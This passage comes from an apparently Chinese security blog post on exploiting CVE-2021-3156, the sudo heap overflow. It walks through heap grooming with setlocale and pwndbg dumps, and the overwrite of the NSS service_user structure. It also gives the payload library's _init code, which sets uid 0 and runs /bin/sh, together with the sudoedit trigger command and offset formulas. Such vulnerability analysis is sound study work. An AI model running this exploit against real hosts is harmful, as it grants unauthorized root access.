将离 user_args最近的 service_user结构体覆盖后，程序会调用 getgrgid()函数，最后去调用 nss_load_library。

1
2
3
4
5
6
//sudoers.so
.text:0000000000034720 loc_34720:                              ; CODE XREF: sub_344D0+3E↑j
.text:0000000000034720                 mov     edi, ebx        ; gid
.text:0000000000034722                 call    _getgrgid       ; 10
.text:0000000000034727                 mov     rbx, rax
.text:000000000003472A                 jmp     loc_3451F

在 nss_load_libray中，构造了满足调用新动态链接库的条件，所以会通过 ni->name构造动态链接库的名字 shlib_name为 libnss_X/POP_SH3LLZ_ .so.2。最终会通过 __libc_dlopen(shlib_name)打开。

image-20210203204704401

而 libnss_X/POP_SH3LLZ_ .so.2中只含有一个 init函数，该函数的作用就是id(0)调用 execv('/bin/sh')，自此完成了提权。

1
2
3
4
5
6
7
static void _init(void) {
	printf("[+] bl1ng bl1ng! We got it!\n");
	setuid(0); seteuid(0); setgid(0); setegid(0);
	static char *a_argv[] = { "sh", NULL };
	static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
	execv("/bin/sh", a_argv);
}

堆布局

上面我们已经知道通过给 user_args分配堆块，利用其堆溢出覆盖其后面的 service_user堆块。那么这里有一个很重要的点，我们如何将需要利用的 service_user堆块放到 user_args堆块后，且让两者之间相隔较近。这就是exp中最精妙的堆布局部分。

setlocale(LC_ALL,””)

首先进入 sudo.c就会执行 setlocale(LC_ALL,"")，根据上面分析，这里是会从环境变量中获取值，从而分别申请堆块，申请堆块大小与环境变量中各个值有关。申请完成后，可以在 _nl_global_locale.__names中查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p _nl_global_locale.__names
$2 = {0x55c6a770c990 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a770bd70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a770b3e0 "C.UTF-8@", 'C' <repeats 192 time
s>..., 0x55c6a770a590 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7709ba0 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7709200 "C.UTF-8@", 'C' <repeats 192 tim
es>..., 0x55c6a770ca80 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7707d70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7707400 "C.UTF-8@", 'C' <repeats 192 ti
mes>..., 0x55c6a7706a70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a77060b0 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7705720 "C.UTF-8@", 'C' <repeats 192 t
imes>..., 0x55c6a7703f50 "C.UTF-8@", 'C' <repeats 192 times>...}

pwndbg> x/10xg 0x55c6a770c980
0x55c6a770c980:	0x00007f1afd67281c	0x00000000000000f1
0x55c6a770c990:	0x40382d4654552e43	0x4343434343434343
0x55c6a770c9a0:	0x4343434343434343	0x4343434343434343
0x55c6a770c9b0:	0x4343434343434343	0x4343434343434343
0x55c6a770c9c0:	0x4343434343434343	0x4343434343434343
1
2
3
4
5
6
7
8
9
10
11
12
13
LC_CTYPE = 0x55c6a770c990
LC_NUMERIC = 0x55c6a770bd70
LC_TIME = 0x55c6a770b3e0
LC_COLLATE = 0x55c6a770a590
LC_MONETARY = 0x55c6a7709ba0
LC_MESSAGES = 0x55c6a7709200
LC_ALL = 0x55c6a770ca80 
LC_PAPER = 0x55c6a7707d70
LC_NAME = 0x55c6a7707400 
LC_ADDRESS = 0x55c6a7706a70
LC_TELEPHONE = 0x55c6a77060b0
LC_MEASUREMENT = 0x55c6a7705720
LC_IDENTIFICATION = 0x55c6a7703f50

setlocale(LC_ALL,NULL)

随后执行 setlocale(LC_ALL,NULL)，会申请一个新的堆块，用于存储当前 _nl_global_locale.__names中的值。堆块的大小，如果 _nl_global_locale.__names中的值相同，则申请一个堆块，存储一次即可；如果不相同，则需要申请大堆块将不同的值都存储进去。

1
2
3
pwndbg> bt
#0  __GI_setlocale (category=category@entry=6, locale=locale@entry=0x0) at setlocale.c:231
#1  0x00007f1afdf857a4 in sudo_conf_read_v1 (conf_file=0x0, conf_types=1) at ../../../lib/util/sudo_conf.c:555
1
2
3
4
pwndbg> p _nl_global_locale.__names[category]
$3 = 0x55c6a770ca80 "C.UTF-8@", 'C' <repeats 192 times>...
pwndbg> p category
$4 = 6

setlocale(LC_ALL,”C”)

然后执行 setlocale(LC_ALL,"C")，会释放当前 _nl_global_locale.__names中的堆块，总共释放11个堆块，然后将 _nl_global_locale.__names中的值指向全局变量 C.

1
2
pwndbg> bt
#0  __GI_setlocale (category=category@entry=6, locale=locale@entry=0x7f1afdf8dcf4 "C") at setlocale.c:218
1
2
pwndbg> p _nl_global_locale.__names
$7 = {0x7f1afdf1cfc6 <_nl_C_name> "C" <repeats 13 times>}

setlocale(LC_ALL,saved_LC_ALL)

然后执行 setlocale(LC_ALL,saved_LC_ALL)，将保存的值又重新赋给 _nl_global_locale.__names。这里是否需要重新申请堆块，以及更新 _nl_global_locale.__names中的值，需要按照上述分析的要求。

1
2
pwndbg> bt
#0  __GI_setlocale (category=category@entry=6, locale=locale@entry=0x0) at setlocale.c:218
1
2
3
4
5
6
pwndbg> p _nl_global_locale.__names
$9 = {0x55c6a77060b0 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7705720 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7703f50 "C.UTF-8@", 'C' <repeats 192 time
s>..., 0x55c6a770ca80 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7706a70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a770c990 "C.UTF-8@", 'C' <repeats 192 tim
es>..., 0x55c6a770ce70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a770bd70 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a770b3e0 "C.UTF-8@", 'C' <repeats 192 ti
mes>..., 0x55c6a770a590 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7709ba0 "C.UTF-8@", 'C' <repeats 192 times>..., 0x55c6a7709200 "C.UTF-8@", 'C' <repeats 192 t
imes>..., 0x55c6a7707d70 "C.UTF-8@", 'C' <repeats 192 times>...}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> bin
tcachebins
0x20 [  1]: 0x55c6a77074d0 ◂— 0x0
0x50 [  1]: 0x55c6a7707480 ◂— 0x0
0x80 [  1]: 0x55c6a7707400 ◂— 0x0
0x100 [  1]: 0x55c6a770c460 ◂— 0x0
0x110 [  1]: 0x55c6a770cd60 ◂— 0x0
0x120 [  1]: 0x55c6a7709070 ◂— 0x0
0x1e0 [  1]: 0x55c6a77032c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c6a770cf50 —▸ 0x7f1afdf4fbe0 (main_arena+96) ◂— 0x55c6a770cf50
smallbins
empty
largebins
empty

此时，我们在 unsortedbin中就已经有了 一些空闲堆块。

setlocale(LC_ALL，NULL)

再次执行 setlocale(LC_ALL，NULL)，获取当前的值

setlocale(LC_ALL,”C”)

最后，再次释放当前 _nl_global_locale.__names中的堆块，此时可以重点关注一个 0x80的堆块，和下面不位于 tcache中的堆块。我们可以看到该 0x80的堆块位于 samllbins和 largebins的上方。其此时没有 0x40的空闲堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> bin
tcachebins
0x20 [  1]: 0x55c6a77074d0 ◂— 0x0
0x50 [  1]: 0x55c6a7707480 ◂— 0x0
0x80 [  1]: 0x55c6a7707400 ◂— 0x0
0xf0 [  7]: 0x55c6a770bd70 —▸ 0x55c6a770c990 —▸ 0x55c6a7706a70 —▸ 0x55c6a770ca80 —▸ 0x55c6a7703f50 —▸ 0x55c6a7705720 —▸ 0x55c6a77060b0 ◂— 0x0
0x100 [  1]: 0x55c6a770c460 ◂— 0x0
0x110 [  1]: 0x55c6a770cd60 ◂— 0x0
0x120 [  1]: 0x55c6a7709070 ◂— 0x0
0x1e0 [  1]: 0x55c6a77032c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xf0: 0x55c6a7707d60 —▸ 0x55c6a77091f0 —▸ 0x55c6a7709b90 —▸ 0x55c6a770a580 —▸ 0x55c6a770b3d0 ◂— ...
largebins
0xc40: 0x55c6a770ce60 —▸ 0x7f1afdf501e0 (main_arena+1632) ◂— 0x55c6a770ce60

nss_parse getline

为读取/etc/nsswitch.conf每行数据申请一个chunk，而该 chunk的大小正好是 0x80，也就是会申请 tcache中的 0x80堆块。可以看到此时的 line的值为 文件中的第一行。

1
2
pwndbg> p line
$12 = 0x55c6a7707400 "# /etc/nsswitch.conf\n"

passwd行申请name_database_entry

当读取非注释内容时，首先会申请 name_database_entry，该结构体初始为 0x20，对应的值为 文件中的第一列，例如 passwd

1
2
pwndbg> p sizeof(name_database_entry)+len
$17 = 23

申请 service_user

然后会为文件的第2列申请 service_user，该结构体大小初始为 0x40。而由于之前 tcache中没有 0x40的堆块，这里的 service_user结构体会从 samllbin或者 largebin中申请。而申请的堆块 肯定位于 0x80堆块的下方。

1
2
3
4
5
6
7
8
pwndbg> p *(struct service_user*)0x55c6a770d390
$23 = {
  next = 0x7f1afdf4fbe0 <main_arena+96>,
  actions = {(unknown: 4260690912), (NSS_ACTION_MERGE | unknown: 32536), NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},
  library = 0x108d9b3f0000,
  known = 0xa0dc6f400000,
  name = 0x55c6a770d3c0 ""
}

我们重点需要关注的是 group中的 systemd，如下所示：

1
2
3
4
5
6
7
8
pwndbg> p *(struct service_user*)0x55d388d63470
$42 = {
  next = 0x0,
  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
  library = 0x0,
  known = 0x0,
  name = 0x55d388d634a0 "systemd"
}

因为，我们后续使用 user_args申请的堆溢出就是要覆盖该堆块。这里还需要注意 我们之前 getline中申请的 0x80堆块在使用完毕后，会被释放再次进入 tcache中。

malloc(user_args)

当我们分配 user_args是，总体的命令如下：

1
env -i LC_ALL=C.UTF-8@+"C"*212 sudoedit -s 56*'A'+'\' '\' 54*'B'+'\'

NewArgv[1] = 56‘A’+’\’，总长度为58。
NewArgv[2] = ‘\’，总长度为2。
NewArgv[3] = 54‘B’+’\’，总长度为56。
user_args需要的长度就是58+2+56=0x74（与调试情况一致）。

所以会申请 0x80的堆块，而我们之前 有一块 0x80的堆块位于 tcache中，且位于 group systemd堆块的上方。所以这里正好将这个 0x80的堆块分配出来。随后利用堆溢出覆盖 group systemd堆块。

覆盖偏移

这里还需要清楚，我们如何精准覆盖 group systemed中的 name。当我们知道 user_args与 group systemd堆块之间的差值 offset后，exp中各个偏移 计算方法如下：

smash_len_a和 smash_len_b等于 size(user_args)/2

而 null_stomp_len即为 offset/3。

因为，我们的漏洞是没遇到一次 /,就会将后面的参数再次复制一遍，当我们参数如下：

1
"sudoedit", "-s", smash_a, "\\", smash_b, NULL, envp

当复制 smash_a时，由于 smash_a以 \\结尾，所以会将 \\,smash_b,NULL,envp复制一遍；

当继续遍历 \\时，又会将 smash_b,NULL,envp复制一遍；

再遍历 smash_b时，又会将NULL,envp复制一遍。

最后相当于 smash_b复制了两遍，envp复制了三遍。

参考文献

【kernel exploit】CVE-2021-3156 sudo漏洞分析与利用

cve-2021-3156-sudo堆溢出简单分析

CVE-2021-3156

Heap-based buffer overflow in Sudo (CVE-2021-3156)

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing